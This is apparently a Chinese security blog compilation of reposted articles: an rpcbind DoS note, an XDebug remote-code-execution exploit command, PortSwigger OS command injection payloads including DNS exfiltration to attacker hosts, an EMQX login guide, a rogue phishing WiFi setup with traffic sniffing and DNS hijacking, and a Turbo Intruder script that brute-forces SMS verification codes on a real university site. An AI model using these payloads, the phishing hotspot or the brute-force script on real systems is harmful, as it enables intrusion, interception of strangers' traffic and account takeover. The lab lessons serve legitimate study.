3.清除热修包后,之前发布的版本都无效了,再次查询加载,都查不到了,只能之后在这个版本重新发布

1
SophixManager.getInstance().cleanPatches()

热修复书籍:https://developer.aliyun.com/article/115122

111端口rpcbind漏洞

111端口rpcbind漏洞

本文转自Mamba start 并作补充

简介

rpcbind是NFS中用来进行消息通知的服务

实验环境

攻击机:kali linux
ip:192.168.172.134
目标机:Metasploittable2
ip:192.168.172.129

攻击过程

step1:使用nmap探测

命令:nmap 192.168.172.129

命令:nmap -sV -p 111 192.168.172.129

命令:nmap -p 111 --script=rpcinfo 192.168.172.129

step2:metasploit模块探测

启动msf

命令:use auxiliary/scanner/misc/sunrpc_portmapper

命令:show options

本文讲的是只需60字节就可通过rpcbind让服务器崩溃,全世界的人都知道这玩意儿的用处,人们就这么任由它一直开着,无语。所以,要么补上,要么关闭吧。

写在后面

向rpcbind服务的UDP套接字发送60字节载荷,便可填充目标内存,搞崩主机系统。
圭多·乌兰肯,该漏洞发现者兼“Rpcbomb”漏洞利用程序开发者,抱怨称该软件包维护者毫无反应,他不得不自己写了补丁。

漏洞利用&补丁:https://github.com/guidovranken/rpcbomb

他写道,Shodan搜索发现,互联网上开放 rpcbind 111 端口的主机有180万台。其中大多数都运行在AWS之类大规模托管上,用户总是直接沿用Linux发行版的默认配置(111端口开放)。

如果你真的需要使用rpcbind服务(将远程过程调用RPC与地址绑定),就把它置于防火墙后,限制111端口对外开放吧。最好就是直接关了。

GitHub上的补丁足够小,开发者们应该可以验证这些补丁的短小精悍:rpcbind只需要两行代码就能修复,不像libtirpc要256行。

乌兰肯称,该漏洞可使攻击者在远程rpcbind绑定主机上分配任意大小的内存(每次攻击最高可达4GB),除非进程崩溃,或者管理员挂起/重启rpcbind服务,否则该内存不会被释放。

当然,除了不断占用目标系统的内存,攻击者还可以干别的事,因为有些软件在内存分配失败的时候,是会发生不可预知的错误的。

XDebug 远程调试漏洞(代码执行)

XDebug 远程调试漏洞(代码执行)

本文转自joker0xxx3 并作补充

简介

XDebug是PHP的一个扩展,用于调试PHP代码。如果目标开启了远程调试模式,并设置remote_connect_back = 1

1
2
xdebug.remote_connect_back = 1
xdebug.remote_enable = 1

这个配置下,我们访问http://target/index.php?XDEBUG_SESSION_START=phpstorm,目标服务器的XDebug将会连接访问者的IP(或X-Forwarded-For头指定的地址)并通过dbgp协议与其通信,我们通过dbgp中提供的eval方法即可在目标服务器上执行任意PHP代码。

更多说明可参考:

漏洞利用

启动完成后,访问http://192.168.44.132:8080/即可发现主页是一个简单的phpinfo,在其中可以找到xdebug的配置,可见开启了远程调试。

image

因为需要使用dbgp协议与目标服务器通信,所以无法用http协议复现漏洞。

我编写了一个漏洞复现脚本,指定目标web地址、待执行的php代码即可:

1
2
# 要求用python3并安装requests库
python3 exp.py -t http://192.168.44.132:8080/index.php -c 'shell_exec('id');'

image

重要说明:因为该通信是一个反向连接的过程,exp.py启动后其实是会监听本地的9000端口(可通过-l参数指定)并等待XDebug前来连接,所以执行该脚本的服务器必须有外网IP(或者与目标服务器处于同一内网)。

PortSwigger Academy | OS command injection 操作系统命令注入

PortSwigger Academy | OS command injection : 操作系统命令注入

本文转自en0_0 并作补充

总结

  • &name=1&email=1%401.com||ping+-c+10+127.0.0.1||&subject=1 有时候需要url编码

  • productId=1&storeId=1|whoami POST方法不能用&

    在本节中,我们将解释什么是OS命令注入,描述如何检测和利用漏洞,为不同的操作系统拼写一些有用的命令和技术,并总结如何防止OS命令注入。

    image

什么是OS命令注入?

操作系统命令注入(也称为外壳程序注入)是一个Web安全漏洞,它使攻击者可以在运行应用程序的服务器上执行任意操作系统(OS)命令,并且通常会完全破坏该应用程序及其所有数据。 攻击者通常可以利用OS命令注入漏洞来破坏托管基础结构的其他部分,利用信任关系将攻击转移到组织内的其他系统。

执行任意命令

考虑一个购物应用程序,该应用程序使用户可以查看特定商店中某商品是否有库存。 该信息可通过如下网址访问:

https://insecure-website.com/stockStatus?productID=381&storeID=29

为了提供库存信息,应用程序必须查询各种旧系统。 由于历史原因,该功能是通过使用产品和存储ID作为参数调用shell命令来实现的:

stockreport.pl 381 29
此命令输出指定项目的库存状态,并返回给用户。

由于该应用程序无法防御OS命令注入,因此攻击者可以提交以下输入以执行任意命令:

& echo aiwefwlguh &

如果此输入是在productID参数中提交的,那么应用程序执行的命令是:

stockreport.pl & echo aiwefwlguh & 29

echo命令只是使提供的字符串在输出中回显,并且是测试某些类型的OS命令注入的有用方法。 & 字符是shell命令分隔符,因此执行的实际上是一个接一个的三个独立命令。 结果,返回给用户的输出为:

1
2
3
Error - productID was not provided
aiwefwlguh
29: command not found

输出的三行表明:

原始的stockreport.pl命令在没有预期参数的情况下执行,因此返回了错误消息。

执行注入的echo命令,并且在输出中回显提供的字符串。

原始参数29作为命令执行,从而导致错误。

通常,将附加命令分隔符&放置在注入命令之后是很有用的,因为这会将注入命令与注入点后面的内容分开。 这减少了随后发生的事件阻止注入的命令执行的可能性。

Lab: OS command injection, simple case

productId=1&storeId=1|whoami

image

有用的命令

当您确定了OS命令注入漏洞后,通常可以执行一些初始命令来获取有关您受到破坏的系统的信息。 以下是在Linux和Windows平台上有用的一些命令的摘要:

命令目的 Linux Windows
当前用户的名称 whoami whoami
操作系统 uname -a ver
网络配置 ifconfig ipconfig / all
网络连接 netstat -an netstat -an
运行进程 ps -ef tasklist

操作系统命令注入漏洞盲注

OS命令注入的许多实例都是盲注的漏洞。 这意味着应用程序不会在其HTTP响应中返回命令的输出。 盲注漏洞仍然可以被利用,但是需要不同的技术。

考虑一个允许用户提交有关该站点的反馈的网站。 用户输入他们的电子邮件地址和反馈消息。 然后,服务器端应用程序会向站点管理员生成一封包含反馈的电子邮件。 为此,它使用提交的详细信息调出邮件程序。 例如:

mail -s "This site is great" -aFrom:peter@normal-user.net feedback@vulnerable-website.com

mail命令的输出(如果有)不会在应用程序的响应中返回,因此使用echo有效负载将无效。 在这种情况下,您可以使用多种其他技术来检测和利用漏洞。

使用时间延迟检测盲注OS命令注入

您可以使用注入的命令来触发时间延迟,从而允许您根据应用程序响应的时间来确认命令已执行。 ping命令是执行此操作的有效方法,因为它使您可以指定要发送的ICMP数据包的数量,从而指定该命令运行所花费的时间:

& ping -c 10 127.0.0.1 &

此命令将导致应用程序ping其环回网络适配器10秒钟。

Lab: Blind OS command injection with time delays

1
csrf=j25Ci6owysrme8z4HvkicgC1hqXWr0Yz&name=1&email=1%401.com||ping+-c+10+127.0.0.1||&subject=1&message=1

image

通过重定向输出来利用盲注OS命令注入

您可以将注入命令的输出重定向到Web根目录下的文件中,然后可以使用浏览器进行检索。 例如,如果应用程序从文件系统位置/var/www/static提供静态资源,则可以提交以下输入:

& whoami> /var/www/static/whoami.txt &

>字符将whoami命令的输出发送到指定文件。 然后,您可以使用浏览器获取https://vulnerable-website.com/whoami.txt来检索文件,并查看注入命令的输出。

Lab: Blind OS command injection with output redirection

1
&email=1%401.com||whoami+>+/var/www/images/whoami.txt||&

image

利用带外(OAST)技术利用盲目的OS命令注入

您可以使用注入的命令,通过OAST技术触发与您控制的系统的带外网络交互。 例如:

& nslookup kgji2ohoyw.web-attacker.com &

此有效负载使用nslookup命令对指定的域进行DNS查找。 攻击者可以监视是否发生了指定的查找,从而检测到命令已成功注入。

Lab: Blind OS command injection with out-of-band interaction

image

带外通道还提供了一种从注入的命令中提取输出的简便方法:
(根本别啥用)

& nslookup whoami.kgji2ohoyw.web-attacker.com &

这将导致对DNS的攻击者所在域进行域名查询,其中包含whoami命令的结果:

1
wwwuser.kgji2ohoyw.web-attacker.com

Lab: Blind OS command injection with out-of-band data exfiltration

1
email=1%401.com||nslookup+`whoami`.132kftea48t801xjselcncwfp6vwjl.burpcollaborator.net||

image

注入OS命令的方式

各种shell字符可用于执行OS命令注入攻击。

许多字符用作命令分隔符,使命令可以链接在一起。 以下命令分隔符可在基于Windows和Unix的系统上运行:

&
&&
|
||

以下命令分隔符仅在基于Unix的系统上起作用:

;
Newline (0x0a or \n)

在基于Unix的系统上,您还可以使用反引号或美元字符在原始命令中内嵌执行注入命令: (原来如此,windows不能用反引号)

1
2
`injected-command`
$( injected-command )

请注意,不同的shell元字符具有细微不同的行为,这些行为可能会影响它们是否在某些情况下起作用,以及它们是否允许带内检索命令输出或仅对盲注使用有用。

有时,您控制的输入会出现在原始命令的引号中。 在这种情况下,需要先使用引号终止上下文(使用”或’),然后再使用适当的外壳元字符来插入新命令。

如何防止OS命令注入攻击

到目前为止,防止OS命令注入漏洞的最有效方法是永远不要从应用程序层代码中调用OS命令。 几乎在每种情况下,都有使用更安全的平台API来实现所需功能的替代方法。

如果认为无法通过用户提供的输入调出OS命令,则必须执行强大的输入验证。 有效验证的一些示例包括:

  • 根据 允许值 的白名单进行验证。
  • 验证输入是否为数字。
  • 验证输入仅包含字母数字字符,不包含其他语法或空格。

切勿尝试通过转义shell元字符来清理输入。 实际上,这太容易出错,容易被熟练的攻击者绕开。

配置EMQX服务器用户名/密码方式登录

配置EMQX服务器用户名/密码方式登录

本文转自GEEK.攻城狮 并作补充

配置环境

系统:ubuntu 18.04server lts

EMQX版本:v4.0.6

停止服务

emqx stop

编辑用户名密码配置文件

vim ./etc/emqx/plugins/emqx_auth_username.conf

增加用户名、密码,密码算法改为plain,透传

image

关闭匿名登录

vim /etc/emqx/emqx.conf

查找allow_anonymous,修改为false

image

启动emqx服务

1
emqx start

进入后台管理界面,启动用户名密码认证。

1
http://服务器IP:18083

image

此时,使用MQTT之前的匿名方式的配置,已经无法登录

image

MQTT.FX上,添加用户名密码:

image

此时可以通过用户名密码登录,订阅主题

image

同样的方式,我们需要再添加一个用户,用于两个用户之间通讯。

我们可以从服务器端登录一个用户,向MQTT.FX客户端订阅的TOPIC发送信息。可以看到正常收到。

image

kali搭建钓鱼WiFi

kali搭建钓鱼WiFi

本文转自逍遥子 并作补充

如何在kali下快速搭建钓鱼WiFi呢?全网最简单最详细的教程核能来袭。一起来看看吧。

准备

  • USB无线网卡(推荐8187 3070)
  • hostapd dnsmasq apache2
  • kali2020(最新版)

配置无线网卡

在终端执行 ifconfig查看是否有 wlan0如果存在,我们需要激活为监听模式。执行命令:

1
airmon-ng start wlan0

image

配置hostapd

1
vim hostapd.conf

写入下面内容

1
2
3
4
5
6
7
interface=wlan0mon
driver=nl80211
ssid=Chinanet #无线名称 随意即可
hw_mode=g
channel=6
macaddr_acl=0
ignore_broadcast_ssid=0

image

配置dnsmasq文件

终端执行

1
vim dnsmasq.conf

写入内容如下:

1
2
3
4
5
6
7
8
interface=wlan0mon
dhcp-range=192.168.1.2, 192.168.1.30, 255.255.255.0, 12h
dhcp-option=3, 192.168.1.1
dhcp-option=6, 192.168.1.1
server=8.8.8.8
log-queries
log-dhcp
listen-address=127.0.0.1

image

配置防火墙和端口转发

1
2
3
iptables --table nat --append POSTROUTING --out-interface eth0 -j MASQUERADE
iptables --append FORWARD --in-interface wlan0mon -j ACCEPT
echo 1 > /proc/sys/net/ipv4/ip_forward

image

这样做的目的是保证我们的鱼儿能够正常上网。

给无线网卡分配IP地址

1
2
ifconfig wlan0mon up 192.168.1.1 netmask 255.255.255.0
route add -net 192.168.1.0 netmask 255.255.255.0 gw 192.168.1.1

启动钓鱼热点

1
hostapd hostapd.conf

image

这样我们便可以看到有一个 china-net的热点,但是不能连接,不要着急,我们启动dnsmasq即可。

1
dnsmasq -C dnsmasq.conf -d

这样,我们的热点便可以正常连接并上网了。

image

左边为连接的设备,右边有设备访问的网站信息。

高级操作

嗅探目标图片

在终端执行

1
driftnet -i wlan0mon

便可以看到目标访问的站点图片信息。

image

中间人攻击

域名重定向

修改 /etc/ettercap/etter.dns文件,添加内容如下:

1
2
3
baidu.com      A   192.168.1.1
*.baidu.com A 192.168.1.1
www.baidu.com PTR 192.168.1.1

即,当我们访问百度,自动跳转到本地。
开启本地 apache

1
service apache2 start

将做好的钓鱼页面放到 /var/www/html目录下,然后终端执行 ettercap -G利用 ettercap进行DNS劫持,具体做法这里不再诉述。

image

当然,你也可以对目标进行数据包的捕获和分析,我们这里也不再说了。

填个坑

有不少人搭建完成后,反应上不了网,是因为dns冲突了。如你家的路由器的网段是192.168.1.1/24而在dns的配置文件中dhcp-option=3, 192.168.1.1这样会冲突,解决办法很简单,把192.168.1.1改成其他网段就行了,如192.168.5.1,但是后面的规则也要改。最简单的方法就是登陆路由器,将lan口地址192.168.1.1改掉就行了!

记一次使用Burpsuite下的插件Turbo intruder进行实战

记一次使用Burpsuite下的插件Turbo intruder进行实战

本文转自酷酷的繁星 并作补充

相信很多师傅在进行渗透测试或者漏洞挖掘的时候都会用到burpsuite这款神器,但是不知道师傅们用过burpsuite里面一款叫turbo intruder的插件么

不管这些,今天看了这篇文章的师傅我相信也会对这款插件有兴趣

安装教程等等的文章在各大论坛一找一大堆,但是实战的又有几个呢,对吧?

今天繁星就给大家带来turbo intruder实战教程

目标站点是某科技大学的站点

首先我们打开这个站点的首页看看

image

可以看到有注册按钮

我们点进去看看

image

然后在这里推荐师傅们一个很便利的短信接收平台

https://www.bfkdim.com/

image

好的,继续

手机号那里我们就填这个平台里面的一个手机号

开启我们的burpsuite,点“立即注册”抓个包

image

选择验证码右键

image

发送到turbo intruder

我们这边不同官方的代码

爆破验证码只需生成数字的所有排列组合就可以了,可以通过以下代码来生成

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from itertools import product

def brute_veify_code(target, engine, length):
pattern = '1234567890'
for i in list(product(pattern, repeat=length)):
code = ''.join(i)
engine.queue(target.req, code)

def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=30,
requestsPerConnection=100,
pipeline=True
)
brute_veify_code(target, engine, 6)

def handleResponse(req, interesting):
# currently available attributes are req.status, req.wordcount, req.length and req.response
if 'error' not in req.response:
table.add(req)

复制这段代码替换掉默认的

然后点击最下方攻击

image

我们可以看到各种数据,这速度反正我是爱了,师傅们还没爱吗

image

image

我们可以看到响应包,没有什么限制,所以我们可以继续进行枚举

PS:拿turbo intruder枚举有时候会崩,不用慌,关掉再来一遍就行了

由于本人电脑配置太水加上网络慢,所以还没枚举完验证码就过期了,跟我一样的师傅可以尝试多几次

经过两个小时的奋战后,终于…….

image

image

被ban了

image

没有办法只能换个手机号继续搞

重复做了一遍之后

当我再点击获取验证码,提示该手机号已经注册,这意味着什么?意味着刚刚的枚举成功了,我们回到turbo intruder找下响应包

image

image

响应包的字节是55,与其它的包不一样所以就是这个了

可以看到响应包,提示success

再看看其它的响应包

这个字节76的是验证码错误

image

字节88的是该手机已被注册

image

我们会发现前面的全是字节76后面的全88那我们要在76和88的交界部分找成功的包

另外,再声明一下,这篇文章是介绍turbo intruder的实战,重点在turbo intruder,有的师傅可能会觉得注册处爆破验证码并没什么用,但是大家想想,注册处爆破验证码的原理和找回密码处爆破验证码的原理有什么区别?再大胆点想象一下,要是管理员登录处有找回密码这一功能呢?对吧?